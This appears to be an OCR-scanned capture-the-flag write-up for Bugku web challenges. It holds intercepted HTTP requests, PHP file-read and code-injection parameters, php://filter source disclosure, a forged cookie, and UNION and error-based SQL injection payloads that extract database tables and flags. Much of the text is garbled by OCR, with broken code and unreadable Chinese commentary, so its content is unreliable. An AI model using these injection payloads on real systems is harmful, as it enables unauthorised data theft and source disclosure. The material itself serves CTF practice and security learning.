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uj Request to http://flag.bugku.com:80 [unknown host]
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GET / HITP/1.1 A
p

Host: 120.24. 86. 145

Proxy-Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65. 0. 3325. 162 Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp, image/apng, */*; q=0. 8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0. 9, en;q=0. 8
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Target: http://120.24.86.145:8002 LﬁJ L;"J

Response

[B@MQIHeaders Hex l HTML TRender ]

IBET /web12/ HITP/1.1
Host: 120.24. 86. 145:8002
Proxy-Connection: keep-alive
Cache-Control : max-age=0
Upgrade-Insecure-Requests: 1
i User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleVebKit/537.36 (KHTHL, like Gecko) Chrome/65. 0. 3325. 162
Safari/537. 36
Accept:
text/html, application/xhtml+xml, application/xml : q=0. 9, image/webp, ima
ge/apng, */*;q=0. 8
Referer: http://120. 24. 86. 145:8002/web12/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.9, en;q=0.8
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http://120.24.86.145:8003/?hello=print_r(file('test.php"))
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http://120.24.86.145:8004/index1.php?args=GLOBALS
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Content-Length: 630

<html >
<head>
<{meta charset="utf-8">
<{meta name="viewport” content="width=device-width,
initial-scale=1.0">
<{meta name="description” content="">
<meta name="author” content="">
<title>Dummy game</title>
<fhead>

| <script language="JavaScript”>

function myrefresh() {

window. location. reload() ;

}

setTimeout (" myrefresh{)’, 500);

<{/script>

<body>

<center’<strong>I want to play Dummy game with
others£jBut I can’ t stop!</strong>{/center>
{center>Stop at panda ! u will get flag<{/center>
<center><div><img src="10. jpg”/></div><{/center><br><a
style="display:none”>flag {dummy_game_1ls_s0_popular} </a></bod
>

<Mhtml>
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Response
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HITP/1.1 200 CK

Server: nginx

Date: Wed, 21 Nar 2018 08:09:11 GHNT
Content-Type: text/html

Comnection: keep-alive

'P

Eeep-Alive: timeout=60
flag {Pugku k8 _23s istral:
Content-Length: 139

<html >
<meta http-equiv="Content-Type” content="text/html: charset=UTF-8"
/>
{prer<brr<brr<brr<br>fta i E . <brrdbr>
<Shtml >
Web4
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function checkSubmit()

{ .
var a=document.getElementById("password™);
if("undefined”!=typeof a)

I
L

if("67d709b2b54aa2aabd8cfbeB7a7llafl"==a.value)

return!
alert("Erro
a.focus();
return!l

1
I
}tdocument . getElementById({~ levelQuest™) Yonsubmit=che/ckSubmit:

H #submit"67d709b2b54aa2aa648cf6e87a7114f1", w5 Elflag T
flag?E Index 2
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http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php
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http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

¥ascript
var clicks=@
$(function() {
$("#cookie™)
.mousedown (function() {
$(this).width{ 358px").height( 358px");
)]
.mouseup(function() {
$(this).width{ 375px").height( 375px");
clicks++;
$("#clickcount™).text(clicks);
if(clicks >- 1000000){
var form = ${ <form action="" method="post”>" +
"<input type="text" name="clicks" wvalus="' + clicks + '" hidden/>»"
"< fform:");
%( body’).append(form};
form. submit();
¥
1
5);
== $@
/script

fEConsole & ik.clicks 7999999
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“flag.php";
ini_set("display_errors"”, 8);
r($_SERVER[ "REQUEST_URI'], '?");

d5($keyl);

echo md5($key2);
md5 ( fkey2) $keyl Skey2){
echo $flag. "EviEflag”;
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http://120.24.86.145:8002/chengjidan/index.php

Enable Post data [ ] Enable Referrer
id=0' union select database(),1,1,1#

RS

‘1,2,3... ‘

skctf_flagAypkZRER

RIEREA
id=0" union selectdatabase(),table_name,1,1 from information_schema.tables wheretable_schema='skctf_flag'#
1 B

id=0" union selectdatabase(),table_name,column_name,1 from information_schema.columns
wheretable_schema='"skctf_flag' and table_name = 'fl4g'#

Zflag

id=0" union select skctf_flag,1,1,1from skctf _flag.fldg#
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Give me value post about 1613441563-1227094011+174592301-75071902-1033476356+1312418953-1022575973*1642029166*1907477036-130961118-1866396698="
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Response
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HITP/1.1 200 CK

Server: nginx

Date: Wed, 21 Mar 2018 08:37:56 GNT

Content-Type: text/html;charset=utf-3

Comnection: keep-alive

Eeep-Alive: timecut=60

Exzpires: Thu, 19 Nov 1981 08:52:00 GNT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0

Pragma: no-cache

flag: 6LeRSSgEBL+YELiNAZSZT T Wi TuZol2gZmehi +WdpzogT1R jeE9EazE=
Content-Length: 89

ors T B R SV V< —- OF |, now vou have to post the margin

what vou find -->

Base64f#% 3 Ut-SERL LA JE tn T

>>> baseb4. bp4decode (' 6LeRSSqEHL+Y5L

‘AT RS Y AR FagE Y NTex0DK1*

RAMERKREA, THELZRZ, FrUSANMEART T, MR,
cookie s I

DI 28 B P ke S A £ =
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

filenameZ £baseb4f# %, stkey.txt, T & Zikfilename=index.phpfibase64td, K£E, BHITS, KAHIAN
%, TR—T—1Thad, &RAB/3WTFRE:

<?php
error_reporting(8);
(isset($_GET[ 'filename'])?$_GET['filename']:"");
$line=isset($_GET['line’])?intval($_GET['line']):0;
_ ' 5@eHQ=""
$file list
| =»
L
Yy

i%[iszet{$_CODKIE['manin‘]} && § _COOKIE['margin']=="margin'){
$file list[2]="keys.php';

1
I

if(in_array($file, $file list)){
$fa = file($file);
echo $fa[$line];

RIEZH, BH— Fcookies, 153Flflag


http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
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Request
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GET /webll/index.php?line=dﬁfilename=aZV55y5waHA= HITF/1.1 A
Host: 120. 24. 86. 145:8002

Proxyv-Comnectlon: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64)

ApplelWebKit/537. 36 (KHTML, like Gecko) Chrome/65.0.3325.181
Safari/537. 36

Accept:

text/html, application/zhtml +zml, application/xzml; q=0. 9, image/webp, ima
ge/apng, */*: q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9, en; q=0. 8 ﬂ
Cockie: margin=margin
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Target: ht

HITP/1.1 200 OK

Server: nginx

Date: Wed, 21 Mar 2018 08:51:00 GNT

Content-Type: text/html
Comnectlion: keep-alive
Keep-Alive: timeout=60
Content-Length: 30

Bt 120.24.86, 1459004/ 1 e phpTid = 1" andd 1= 1323

[ Enable Post data [ Enable Refierer

TREZABFERARPILIEN, AN andRAFRET

et 20,2486, 1455004/ ndex phpTid =1 sandhd 1=13%23

[ Enable Post data ] Enable Referrer

There is nothing.

HTEERE—17, FUELE - NERZNFlase, BN band 1=2(F{E &%k FE 142 H k)




ety 20,24 .85, 1455004,  ndex phaTid=1* sandhd 1= 1%23

[ Enable Post data ] Enable Referrer

There is nothing.
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» @ SOL- XS5~ Encryptions Encodings Others
Bt 2024861450004/ ndew php Pid= 17 aandnd 1=2 takle_name ireem i _schematades whede 1= 1923

(] Enatite Poit data (] Enabile Referres

CHARACTER SETS

RIEBERHL

= & QL+ XSS+ Encryptions Emcoding Others
WLp/120.24.86.145 50041 1 antedt 122 ununisoes _marne tom & | seherma Lables. whesr: table_uhema = web100Z- %23

[ Enable Fost dats  [] Ensble Referrer

flag1

B’ya, EEREWD
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LoL,YOU Find ME!
BUT,
| wanT TEIl You,

| Have Best Waf Protect Me Now!

Find Me!

Hello,| Am Here!

LGB BAIRIEAN, XRkwaftt ERJGEL, SUREREELET .
KT —TFand 1=1, RILAME:

LoL,YOU Find ME!
BUT,
| wanT TEll You,

| Have Best Waf Protect Me Now!

Find Me!

AR AREEN, BEBREEES:



LoL,YOU Find ME!
BUT,
I wanT TEIl You,

| Have Best Waf Protect Me Now!
Find Me!

Duplicate entey web1002-21 forkey ‘groupl key'

R BRA:

(select count(*)b,concat((select table_name from
information_schema.tableswhere table_schema = 'web1002-2' limit 0,1),floor(rand(0)*2))a
frominformation_schema.tables group by a)=(1,1)%23

LoL,YOU Find ME!
BUT,
I wanT TEH You,

| Have Best Waf Protect Me Now!

Find Me!

Duphiate entry ‘claa T for ke Group oy

LoL,YOU Find ME!
BUT,
| wanT TEll You,

| Have Best Waf Protect Me Now!

Find Me!

Duplicate entry {flag2y’ for key Igroup key/|

FLERfag2T, TATATLUE— Tflag2i)Fi4:

(select count(*)b,concat((select column_name from
information_schema.columnswhere table_schema = 'web1002-2' and table_name="flag2' limit
0,1),floor(rand(0)*2))afrom information_schema.tables group by a)=(1,1)%23

LoL,YOU Find ME!

BUT,
| wanT TEIll You,

| Have Best Waf Protect Me Now!

Find Me!

rom infor

Duplicate entry 'flag21’ for key |group, key'



http://120.24.86.145:9004/Once_More.php?id=1%2527or
http://120.24.86.145:9004/Once_More.php?id=1%2527or

RaiEEflag, RIMHIT —/ .

LoL,YOU Find ME!

BUT,

| wanT TEIl You,

| Have Best Waf Protect Me Now!
Find Me!
(select flag2 from flag2 limit 0, or(rand(0)*2))a from informat

Subgquery returns more than 1 row

RAMERRAREIKAFREREZE, substringtF M, TR=ZWleft, KIEAE, TREZets T AHLER
T

(select count(*)b,concat(left((select flag2 from flag2
limit0,1),40),floor(rand(0)*2))a from information_schema.tables group by a)=(1,1)%23

LoL,YOU Find ME!
BUT,
| wanT TEll You,
| Have Best Waf Protect Me Now!

Find Me!

ncat(left((select flag2 from flag2 limit

Duplicate entry "flag{Bugku-sql_ 4t-bugl1’ for key "group key' T

B=K

BHRER—FK -G, REERRESHRZgame, flagtEadmind, AMEINA, BigameE4EHRER
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